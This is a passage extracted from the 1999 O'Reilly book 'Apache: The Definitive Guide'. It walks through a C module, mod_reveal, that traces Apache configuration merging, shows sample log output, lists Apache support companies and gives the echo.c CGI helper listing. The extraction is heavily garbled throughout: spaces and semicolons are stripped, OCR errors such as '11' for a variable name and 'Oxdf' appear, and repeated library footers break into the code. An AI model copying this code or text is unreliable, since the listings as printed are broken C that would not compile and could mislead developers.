returnpMerged
}
Nowwecreateaperdirectoryconfigurationstructure.IfszDirisNULL,wechangeitto(none)toensurethatlatermergeshavesomethingtomerge!Ofcourse,
szDirisNULLonceforeachserver.Noticethatwedon'tlogwhichserverthiswascreatedforthat'sbecausethereisnolegitimatewaytofindout.Itisalsoworth
mentioningthatthiswillonlybecalledforaparticulardirectory(orlocationorfile)ifaRevealTagdirectiveoccursinthatsection:
staticvoid*RevealMergeDir(pool*pPool,void*_pBase,void*pNew)
{
SPerDir*pBase=_pBase
SPerDir*pNew=_pNew
SPerDir*pMerged=ap_palloc(pPool,sizeof*pMerged)
fprintf(stderr,"MergeDir:pBase:dir=%stag=%s"
"pNew:dir=%stag=%s\n",pBase>szDir,None(pBase>szTag),
pNew>szDir,None(pNew>szTag))
pMerged>szDir=ap_pstrcat(pPool,pBase>szDir,"+",pNew>szDir,NULL)
pMerged>szTag=ap_pstrcat(pPool,None(pBase>szTag),"+",
None(pNew>szTag),NULL)
returnpMerged
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page320
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Hereisahelperfunctionusedbymostoftheotherhookstoshowtheperserverandperdirectoryconfigurationscurrentlyinuse.Althoughitcaterstothesituationin
whichthereisnoperdirectoryconfiguration,thatshouldneverhappen:*
staticvoidShowRequestStuff(request_rec*pReq)
{
SPerDir*pPerDir=get_module_config(pReq>per_dirconfig,
&reveal_module)
SPerServer*pPerServer=get_module_config(pReq>server>
module_config,&reveal_module)
SPerDirnone={"(null)","(null)"}
SPerDirnoconf={"(noperdirconfig)","(noperdirconfig)"}
if(!pReq>per_dir_config)
pPerDir=&noconf
elseif(!pPerDir)
pPerDir=&none
fprintf(stderr,"server=%stag=%sdir=%stag=%s\n",
pPerServer>szServer,pPerServer>szTag,
pPerDir>szDir,
pPerDir>szTag)
}
Noneofthefollowinghooksdoesanythingmorethantraceitself:
staticintRevealTranslate(request_rec*pReq)
{
fprintf(stderr,"Translate:uri=%s",pReq>uri)
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealCheckUserID(request_rec*pReq)
{
fprintf(stderr,"CheckUserID:")
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealCheckAuth(request_rec*pReq)
{
fprintf(stderr,"CheckAuth:")
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealCheckAccess(request_rec*pReq)
{
fprintf(stderr,"CheckAccess:")
ShowRequestStuff(pReq)
returnDECLINED
*Ithappenedwhilewewerewritingthemodule,becauseofabugintheApachecore.Wefixedthebug.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page321
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
{
staticintRevealTypeChecker(request_rec*pReq)
{
fprintf(stderr,"TypeChecker:")
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealFixups(request_rec*pReq)
{
fprintf(stderr,"Fixups:")
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealLogger(request_rec*pReq)
{
fprintf(stderr,"Logger:")
ShowRequestStuff(pReq)
returnDECLINED
}
staticintRevealHeaderParser(request_rec*pReq)
{
fprintf(stderr,"HeaderParser:")
ShowRequestStuff(pReq)
returnDECLINED
}
Nextcomesthechildinitializationfunction.ThisextendstheservertagtoincludethePIDoftheparticularserverinstanceitisin.Notethat,liketheinitfunction,it
mustiteratethroughalltheserverinstances:
staticvoidRevealChildInit(server_rec*pServer,pool
*pPool)
{
charszPID[20]
fprintf(stderr,"ChildInit:pid=%d\n",(int)getpid())
sprintf(szPID,"[%d]",(int)getpid())
for(pServerpServer=pServer>next)
{
SPerServer*pPerServer=ap_get_module_config(pServer>module_config,
&reveal_module)
pPerServer>szServer=ap_pstrcat(pPool,pPerServer>szServer,szPID
NULL)
}
}
Thenthelasttwohooksaresimplylogged:
staticvoidRevealChildExit(server_rec*pServer,pool*pPool)
{
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page322
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
fprintf(stderr,"ChildExit:pid=%d\n",(int)getpid())
}
staticintRevealPostReadRequest(request_rec*pReq)
{
fprintf(stderr,"PostReadReq:method=%suri=%sprotocol=%s",
pReq>method,pReq>unparsed_uri,pReq>protocol)
ShowRequestStuff(pReq)
returnDECLINED
}
ThefollowingisthehandlerfortheRevealTagdirective.Ifmorethanone
RevealTagappearsinasection,theyaregluedtogetherwitha""separating
them.ANULLisreturnedtoindicatethattherewasnoerror:
staticconstchar*RevealTag(cmd_parms*cmd,SPerDir*pPerDir,char*arg)
{
SPerServer*pPerServer=ap_get_module_config(cmd>server>module_config,
&reveal_module)
fprintf(stderr,"Tag:new=%sdir=%sserver=%stag=%s\n",
arg,pPerDir>szDir,pPerServer>szServer,
None(pPerServer>szTag))
if(pPerDir>szTag)
pPerDir>szTag=ap_pstrcat(cmd>pool,pPerDir>szTag,"",arg,NULL)
else
pPerDir>szTag=ap_pstrdup(cmd>pool,arg)
returnNULL
}
ThiscodehandlestheRevealServerTagdirective.Again,ifmorethanone
RevealServerTagappearsinaserversectiontheyaregluedtogetherwith""in
between:
staticconstchar*RevealServerTag(cmd_parms*cmd,SPerDir*pPerDir,
char*arg)
{
SPerServer*pPerServer=ap_get_module_config(cmd>server>module_config,
&reveal_module)
fprintf(stderr,"ServerTag:new=%sserver=%sstag=%s\n",arg,
pPerServer>szServer,None(pPerServer>szTag))
if(pPerServer>szTag)
pPerServer>szTag=ap__pstrcat(cmd>pool,pPerServer>szTag,"",arg,
NULL)
else
pPerServer>szTag=ap_pstrdup(cmd>pool,arg)
returnNULL
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page323
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Herewebindthedirectivestotheirhandlers.NotethatRevealTagusesACCESS_CONF|OR_ALLasitsreq_overridesothatitislegalwherevera
<Directory>sectionoccurs.RevealServerTagonlymakessenseoutside<Directory>sections,soitusesRSRC_CONF:
staticcommand_recaCommands[]=
{
{"RevealTag",RevealTag,NULL,ACCESS_CONF|OR,_ALL,TAKE1,"atagforthis
section"},
{"RevealServerTag",RevealServerTag,NULL,RSRCL_CONF,TAKE1,"atagforthis
server"},
{NULL}
}
Thesetwohelperfunctionssimplyoutputthingsasarowinatable:
staticvoidTShow(request_rec*pReq,constchar*szHead,constchar*szltem)
{
rprintf(pReq,"<TR><TH>%s<TD>%s\n",szHead,szltem)
}
staticvoidTShowN(request_rec*pReq,constchar*szHead,intnitem)
{
rprintf(pReq,"<TR><TH>%s<TD>%d\n",szHead,nitem)
}
ThefollowingcodeistherequesthandleritgeneratesHTMLdescribingtheconfigurationsthathandletheURI:
staticintRevealHandler(request_rec*pReq)
{
SPerDir*pPerDir=get_module_config(pReq>per_dir_config,
&reveal_module)
SPerServer*pPerServer=get_module_config(pReq>server>
module_config,&reveal_module)
pReq>content_type="text/html"
send_http_header(pReq)
rputs("<CENTER><Hl>Revelationof",pReq)
rputs(pReq>uri,pReq)
rputs("</Hl></CENTER><HR>\n'',pReq)
rputs("<TABLE>\n",pReq)
TShow(pReq,"URI",pReq>uri)
TShow(pReq,"Component",pReq>Component)
TShow(pReq,"Servername",pReq>server>server_hostname)
TShowN(pReq,"Serverport",pReq>server>port)
TShow(pReq,"Serverconfig",pPerServer>szServer)
TShow(pReq,"Serverconfigtag",pPerServer>szTag)
TShow(pReq,"Directoryconfig",pPerDir>szDir)
TShow(pReq,"Directoryconfigtag",pPerDir>szTag)
rputs("</TABLE>\n",pReq)
returnOK
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page324
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Hereweassociatetherequesthandlerwiththehandlerstring:
statichandler_recaHandlers[]=
{
{"reveal",RevealHandler},
{NULL},
}
Andfinally,thereisthemodulestructure:
modulereveal_module={
STANDARD_MODULE_STUFF,
Reveallnit,/*initializer*/
RevealCreateDir,/*dirconfigCreater*/
RevealMergeDir,/*dirmergerdefaultistooverride*/
RevealCreateServer,/*serverconfig*/
RevealMergeServer,/*mergeserverconfigs*/
aCommands,/*commandtable*/
aHandlers,/*handlers*/
RevealTranslate,/*Componenttranslation*/
RevealCheckUserID,/*check_user_id*/
RevealCheckAuth,/*checkauth*/
RevealCheckAccess,/*checkaccess*/
RevealTypeChecker,/*type_checker*/
RevealFixups,/*fixups*/
RevealLogger,/*logger*/
RevealHeaderParser,/*headerparser*/
RevealChildInit,/*childinit*/
RevealChildExit,/*childexit*/
RevealPostReadRequest,/*postreadrequest*/
}
ThemodulecanbeincludedinApachebyspecifying:
AddModulemodules/extra/mod_reveal.o
inConfiguration.Youmightliketotryitonyourfavoriteserver:justpepperthebttpd.conffilewithRevealTagandRevealServerTagdirectives.
Becauseofthehugeamountofloggingthisproduces,itwouldbeunwisetouseitonaliveserver!
ExampleOutput
Toillustratemod_reveal.cinuse,weusedthefollowingconfiguration:
Listen9001
Listen9000
TransferLog/home/ben/www/book/logs/access_log
ErrorLog/home/ben/www/book/logs/error_log
RevealTagMainDir
RevealServerTagMainServer
<LocationMatch/.reveal>
RevealTagRevealer
SetHandlerreveal
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page325
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
</LocationMatch>
<VirtualHost:9001>
DocumentRoot/home/ben/www/docs
RevealTagH1Main
RevealServerTagH1
<Directory/home/ben/www/docs/protected>
RevealTagH1ProtectedDirectory
</Directory>
<Location/protected>
RevealTagHIProtectedLocation
</Location>
</VirtualHost>
<VirtualHost:9000>
DocumentRoot/home/camilla/WWW/docs
RevealTagH2Main
RevealServerTagH2
</VirtualHost>
Notethatthe<Directory>andthe<Location>sectionsinthefirstvirtualhostactuallyrefertothesameplace.Thisistoillustratetheorderinwhichthe
sectionsarecombined.Alsonotethatthe<LocationMatch>sectiondoesn'thavetocorrespondtoarealfilelookingatanylocationthatends
with.revealwillinvokemod_reveal.c'shandler.Startingtheserverproducesthisonthescreen:
bash$httpdd/www/book/
CreateServer:servers=(none):0
CreateDir:dir=(none)
Tag:new=MainDirdir=(none)servers=(none):0tag=(none)
ServerTag:new=MainServerserver=(none):0stag=(none)
CreateDir:dir=/.reveal
Tag:new=Revealerdir=/.revealserver=(none):0tag=MainServer
CreateDir:dir=(none)
CreateServer:server=(none):9001
Tag:new=H1Maindir=(none)server=(none):9001tag=(none)
ServerTag:new=H1server=(none):9001tag=(none)
CreateDir:dir=/home/ben/www/docs/protected
Tag:new=H1ProtectedDirectorydir=/home/ben/www/docs/protected
server=(none):9001tag=Hl
CreateDir:dir=/protected
Tag:new=HlProtectedLocationdir=/protectedserver=(none):9001
tag=H1
CreateDir:dir=(none)
CreateServer:server=(none):9000
Tag:new=H2Maindir=(none)server=(none):9000tag=(none)
ServerTag:new=H2server=(none):9000stag=(none)
MergeServer:pBase:server=(none):0tag=MainServerpNew:server=(none):9000
tag=H2
MergeDir:pBase:dir=(none)tag=MainDirpNew:dir=(none)tag=H2Main
MergeServer:pBase:server=(none):0tag=MainServerpNew:server=(none):9001
tag=Hl
MergeDir:pBase:dir=(none)tag=MainDirpNew:dir=(none)tag=H1Main
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page326
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Noticethatthe<Location>and<LocationMatch>sectionsaretreatedasdirectoriesasfarasthecodeisconcerned.Atthispoint,stderrisswitched
totheerrorlog,andthefollowingislogged:
Init:updateservernamefrom(none):0
Init:host=freeby.ben.algroup.co.ukport=0
server=freeby.ben.algroup.co.uk:0tag=MainServer
Init:updateservernamefrom(none):0+(none):9000
Init:host=freeby.ben.algroup.co.ukport=9000
server=freeby.ben.algroup.co.uk:9000tag=MainServer+H2
Init:updateservernamefrom(none):0+(none):9001
Init:host=freeby.ben.algroup.co.ukport=9001
server=freeby.ben.algroup.co.uk:9001tag=MainServer+H1
Init:done
Atthispoint,thefirstpassinitializationiscomplete,andApachedestroystheconfigurationsandstartsagain(thisdoubleinitializationisrequiredbecausedirectives
maychangethingssuchasthelocationoftheinitializationfiles):*
CreateServer:server=(none):0
CreateDir:dir=(none)
Tag:new=MainDirdir=(none)server=(none):0tag=(none)
ServerDir:new=MainServerserver=(none):0stag=(none)
CreateDir:dir=/.reveal
Tag:new=Revealerdir=/.revealserver=(none):0tag=MainServer
CreateDir:dir=(none)
CreateServer:server=(none):9001
Tag:newH1Maindir=(none)server=(none):9001tag=(none)
Servertag:new=H1server=(none):9001stag=(none)
CreateDir:dir=/home/ben/www/docs/protected
Tag:new=H1ProtectedDirectorydir=/home/ben/www/docs//protected
server=(none):9001tag=H1
CreateDir:dir=/protected
Tag:new=H1ProtectedLocationdir=/protectedserver=(none):9001
tag=H1
CreateDir:dir=(none)
CreateServer:server=(none):9000
Tag:newH2Maindir=(none)server=(none):9000tag=(none)
Servertag:new=H2server=(none):9000stag=(none)
Nowwe'vecreatedalltheserveranddirectorysections,andthetoplevelserverismergedwiththevirtualhosts:
MergeServer:pBase:server=(none):0tag=MainServerpNew:server=(none):9000tag=H2
MergeDir:pBase:dir=(none)tag=MainDirpNew:dir=(none)tag=H2Main
MergeServer:pBase:server=(none):0tag=MainServerpNew:server=(none):9001
tag=H1
MergeDir:pBase:dir=(none)tag=MainDirpNew:dir=(none)tag=H1Main
*Youcouldarguethatthisprocedurecouldleadtoaninfinitesequenceofreinitializations.Well,intheory,itcould,butinreallife,Apacheinitializestwice,andthatisthat.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page327
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Nowtheinitfunctionsarecalled(whichrenametheserversnowthattheir"real"namesareknown):
Init:updateservernamefrom(none):0
Init:host=freeby.ben.algroup.co.ukport=0
server=freeby.ben.algroup.co.uk:0tag=MainServer
Init:updateservernamefrom(none):0+(none):9000
Init:host=freeby.ben.algroup.co.ukport=9000
server=freeby.ben.algroup.co.uk:9000tag=MainServer+H2
Init:updateservernamefrom(none):0+(none):9001
Init:host=freeby.ben.algroup.co.ukport=9001
server=freeby.ben.algroup.co.uk:9001tag=MainServer+H1
Init:done
Apachelogsitsstartupmessage:
[SunJul1213:08:011998][notice]Apache/1.3.1dev(Unix)Reveal/0.0
configuredresumingnormaloperations
Childinitsarecalled:
ChildInit:pid=23287
ChildInit:pid=23288
ChildInit:pid=23289
ChildInit:pid=23290
ChildInit:pid=23291
AndApacheisreadytostarthandlingrequests.First,werequesthttp://bost:9001/:
PostReadReq:method=GETuri=/protocol=HTTP/1.0
server=freeby.ben.algroup.co.uk:9001[23287]
tag=MainServer+H1dir=(none)+(none)tag=MainDir+H1Main
Translate:uri=/server=freeby.ben.algroup.co.uk:9001[23287]
tag=MainServer+H1dir=(none)+(none)tag=MainDir+H1Main
HeaderParser:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
CheckAccess:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
TypeChecker:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none+none)tag=MainDir+H1Main
Fixups:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
Because"/"isadirectory,Apacheattemptstouse/index.htmlinstead(inthiscase,itdidn'texist,butApachestillgoesthroughthemotions):
Translate:uri=/index.htmlserver=freeby.ben.algroup.co.uk:
9001[23287]
tag=MainServer+H1dir=(none)+(none)tag=MainDir+H1Main
CheckAccess:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
TypeChecker:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
Fixups:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
Logger:server=freeby.ben.algroup.co.uk:9001[23287]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
ChildInit:pid=23351
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page328
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Prettystraightforward,butnotethattheconfigurationsusedarethemergeofthemainserver'sandthefirstvirtualhost's.Alsonoticethechildinitattheend:
thisisbecauseApachedecidedtheloadwarrantedstartinganotherchildtohandleit.
Ratherthangoonatlength,here'sthemostcomplicatedrequestwecanmake:
http://host:9001/protected/.reveal:
PostReadReq:method=GETuri=/protected/.revealprotocol=HTTP/1.0
server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)tag=MainDir+H1Main
AfterthePostReadRequestphase,somemergingisdoneonthebasisoflocation:
MergeDir:pBase:dir=(none)+(none)tag=MainDir+H1MainpNew:dir=/.reveal
tag=Revealer
MergeDir:pBase:dir=(none)+(none)+/.revealtag=MainDir+H1Main+Revealer
pNew:dir=/protectedtag=H1ProtectedLocation
ThentheURListranslatedintoaComponent,usingthenewlymergeddirectoryconfiguration:
Translate:uri=/protected/.reveal
server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/.reveal+/protected
tag=MainDir+H1Main+Revealer+H1ProtectedLocation
NowthattheComponentisknown,evenmoremergingcanbedone.NoticethatthistimethesectiontaggedasH1ProtectedDirectoryispulledin,too:
MergeDir:pBase:dir=(none)+(none)tag=MainDir+H1MainpNew:dir=/home/
ben/www/docs/protectedtag=H1ProtectedDirectory
MergeDir:pBase:dir=(none)+(none)+/home/ben/www/docs/protected
tag=MainDir+H1Main+H1ProtectedDirectorypNew:dir=/.reveal
tag=Revealer
MergeDir:pBase:dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal
tag=MainDir+H1Main+H1ProtectedDirectory+RevealerpNew:dir=/
protectedtag=H1ProtectedLocation
Andfinallytherequestproceedsasusual:
HeaderParser:server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
protectedtag=MainDir+H1Main+H1ProtectedDirectory+
Revealer+H1ProtectedLocation
CheckAccess:server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/home/ben/www/docs
/protected+/.reveal+/
protectedtag=MainDir+H1Main+H1Protected
Directory+
Revealer+H1ProtectedLocation
TypeChecker:server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
protectedtag=MainDir+H1Main+H1Protected
Directory+
Revealer+H1ProtectedLocation
Fixups:server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page329
protectedtag=MainDir+H1Main+H1ProtectedDirectory+
Revealer+H1ProtectedLocation
Logger:server=freeby.ben.algroup.co.uk:9001[23288]tag=MainServer+H1
dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
protectedtag=MainDir+H1Main+H1ProtectedDirectory+
Revealer+H1ProtectedLocation
Andtherewehaveit.Althoughthemergingofdirectories,locations,files,andsoongetsratherhairy,Apachedealswithitallforyou,presentingyouwithasingle
serveranddirectoryconfigurationonwhichtobaseyourcode'sdecisions.
GeneralHints
FutureversionsofApacheforUnixmaywellbemultithreaded,and,ofcourse,theWin32versionalreadyis.Ifyouwantyourmoduletostandthetestoftime,you
shouldavoidglobalvariables,ifatallpossible.Ifnotpossible,putsomethoughtintohowtheywillbeusedbyamultithreadedserver.Don'tforgetthatyoucanusethe
notestableintherequestrecordtostoreanyperrequestdatayoumayneedtopassbetweenhooks.
Neveruseafixedlengthbuffer.ManyofthesecurityholesfoundinInternetsoftwarehavefixedlengthbuffersattheirroot.Thepoolmechanismprovidesarichsetof
toolsyoucanusetoavoidtheneedforfixedlengthbuffers.
RememberthatyourmoduleisjustoneofarandomsetanApacheusermayconfigureintohisorherserver.Don'trelyonanythingthatmaybepeculiartoyourown
setup.Anddon'tdoanythingthatmightinterferewithothermodules(atallorder,weknow,butdoyourbest!).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page331
A
SupportOrganizations
Thefollowingorganizationsprovideconsultationand/ortechnicalsupportfortheApachewebserver:
A.B.Enterprises(FutureFX)
Services:Publishingservices,webhostinganddesign,andcustomInternet/
Internetservers
Contact:JasonS.Clary
Address:4401BlystoneLane,Plano,TX75093
Phone:(972)5961196or(800)6000786(tollfreeinUnitedStates)
Fax:(972)5963837
Email:abent@futurefx.com
Website:http://www.futurefx.com/
C2NetSoftware,Inc.
Services:Produces/sellsacommercialversionofApachecalledStronghold
Contact:StrongholdSales(510)9868770
Address:1212BroadwaySuite1400,Oakland,CA94612
Phone:(510)9868770
Email:strongholdsales@c2.net
Website:http://www.c2.net/
SteamTunnelOperations
Services:Apachesupportanddevelopment
Website:http://www.steam.com/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page332
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
UKWeb
Services:TechnicalsupportandconsultancyforApache.DistributorofStrongholdsecureserverandSafePassagesecureclient.ApacheWeekwebsiteforApache
newsandtechnicalinformation.
Contact:MarkCox,TechnicalDirector
Address:46TheCalls,Leeds,LS27EY,UnitedKingdom
Phone:+44(113)2220046
Fax:+44(113)2448102
Email:business@ukweb.com
Websites:http://www.ukweb.com/,http://stronghold.ukweb.com/,http://www.apacheweek.com/
ZyzzyvaEnterprises
Services:Internetcommercedevelopment,technicalprojectmanagementandsupport,intranetsecurity,andresourcedevelopment
Address:P.O.Box30898,Lincoln,NE685030898
Phone:(402)4381848
Fax:(402)4381869
Email:info@zyzzyva.com
Website:http://www.zyzzyva.com/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page333
B
TheechoProgram
Thefollowinglistingisecho.c:
#include<stdio.h>
#include<stdio.h>
#defineMAX_ENTRIES10000
typedefstruct
{
char*name
char*val
}entry
char*makeword(char*line,charstop)
char*fmakeword(FILE*f,charstop,int*len)
charx2c(char*what)
voidunescape_url(char*url)
voidplustospace(char*str)
intmain(intargc,char*argv[])
{
entryentries[MAX_ENTRIES]
registerintx,m=0
intc1
charmbuf[200]
printf("Contenttype:text/html\n\n")
if(strcmp(getenv("REQUEST_METHOD"),"POST"))
{
printf("ThisscriptshouldbereferencedwithaMETHODofPOST.\n")
exit(1)
}
if(strcmp(getenv("CONTENT_TYPE"),application/xwwwformurlencoded"))
printf("Thisscriptcanonlybeusedtodecodeformresults.\n")
exit(1)
}
c1=atoi(getenv("CONTENT_LENGTH"))
//Returnsthelengthofdatatocome.
for(x=0c1&&(!feof(stdin))x++)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page334
{
m=x
entries[x].val=fmakeword(stdin,'&',&c1)
plustospace(entries[x].val)
unescape_url(entries[x].val)
entries[x].name=makeword(entries[x].val,'=')
}
//Readsinthedata,breakingatthe"&&"symbols
printf("<H1>QueryResults</H1>")
//SendsthetopofthereturnHTMLdocument.
printf("Yousubmittedthefollowingname/valuepairs:<p>%c",10)
printf("<u1>%c",10)
for(x=0x<=mx++)
printf("<li><code>%s=%s</code>%c",entries[x].name,
entries[x].val,10)
//Liststhefieldsintheoriginalformwiththevaluesfilledinby
//thecustomer.
printf("</u1>%c",10)
}
Thislistingisthehelperprogramecho2.c:
#include<stdio.h>
#defineCR13
#defineLF10
voidgetword(char*word,char*line,charstop){
intx=0,y
for(x=0((line[x])&&(line[x]!=stop))x++)
word[x]=line[x]
word[x]='\0'.
if(line[x])++x
Y=0
while(line[y++]=line[x++])
}
char*makeword(char*line,charstop){
intx=0,y
char*word=(char*)malloc(sizeof(char)*(strlen(line)+1))
for(x=0((line[x])&&(line[x]!=stop))x++)
word[x]=line[x]
word[x]='\0'.
if(line[x])++x
Y=0
while(line[y++]=line[x++])
returnword
}
char*fmakeword(FILE*f,charstop,int*cl){
intwsize
char*word
int11
wsize=102400
11=0
word=(char*)malloc(sizeof(char)*(wsize+1))
while(1){
word[11]=(char)fgetc(f)
if(11==wsize){
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page335
word[11+1]='\0'.
wsize+=102400
word=(char*)realloc(word,sizeof(char)*(wsize+1))
}
(*c1)
if((word[11]==stop)||(feof(f))||(!(*c1))){
if(word[11]!=stop)11++
word[11]='\0'.
returnword
}
++11
}
}
charx2c(char*what){
registerchardigit
digit=(what[0]>='A'?((what[0]&Oxdf)'A'.+10:
(what[0]'0'.)
digit*=16
digit+=(what[1]>='A'?((what[1]&Oxdf)'A'.+10:
(what[1]'0'.)
return(digit)
}
voidunescape_url(char*url){
registerintx,y
for(x=0,y=0url[y]++x,++y){
if((url[x]=url[y])=='%'.{
url[x]=x2c(&url[y+1])
y+=2
}
}
url[x]='\0'.
}
voidplustospace(char*str){
registerintx
for(x=0str[x]x++)if(str[x]=='+'.str[x]=''
}
intrind(char*s,charc){
registerintx
for(x=strlen(s)1x!=1x)
if(s[x]==c)returnx
return1
}
intgetline(char*s,intn,FILE*f){
registerinti=0
while(1){
s[i]=(char)fgetc(f)
if(s[i]==CR)
s[i]=fgetc(f)
if((s[i]==0x4)||(s[i]==LF)||(i==(n1))){
s[i]='\0'.
return(feof(f)?1:0)
}
++i
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page336
}
voidsend_fd(FILE*f,FILE*fd)
{
intnum_chars=0
charc
while(1){
c=fgetc(f)
if(feof(f))
return
fputc(c,fd)
}
}
intind(char*s,charc){
registerintx
for(x=0s[x]x++)
if(s[x]==c)returnx
return1
}
voidescape_shell_cmd(char*cmd){
registerintx,y,1
l=strlen(cmd)
